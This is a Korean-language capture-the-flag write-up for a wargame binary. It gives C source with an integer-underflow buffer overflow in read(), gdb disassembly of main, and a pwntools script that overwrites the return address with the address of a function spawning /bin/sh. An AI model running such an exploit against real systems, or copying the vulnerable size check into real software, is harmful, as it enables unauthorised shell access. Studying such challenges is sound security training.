1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
|
cs |
코드를 살펴보면 쉘을 여는 함수와 main 전에 실행되는 initializer 함수 가 존재한다.
read함수에서 버퍼오버플로우를 이용해 return값을 조작해 문제를 풀면 된다.
1
2
3
4
5
6
|
0x0804866c <+0>: push ebp
0x0804866d <+1>: mov ebp,esp
0x0804866f <+3>: sub esp,0x104
0x08048675 <+9>: call 0x8048612 <initialize>
0x0804867a <+14>: push 0x8048659
0x0804867f <+19>: push 0xb
|
cs |
gdb로 main함수는 분석하면 위와 같이 볼 수 있다.
esp에서 0x104만큼의 크기를 빼 buf를 위한 공간을 만든다. read함수에서 return 주소를 조작할 것이기 때문에 104를 10진수로 전환한 260의 임의 값을 넣고 4바이트의 sfp 임의 값에 get_shell()함수의 주소를 넣으면 된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
from pwn import *
conn = remote("접속정보", 포트번호);
get_shell = p32(0x08048659)
payload = b'A'*(264)
payload += get_shell
conn.recvuntil("Size: ")
conn.sendline("0")
sleep(1)
conn.recvuntil("Data: ")
conn.send(payload)
sleep(1)
#conn.recvall()
conn.interactive()
|
cs |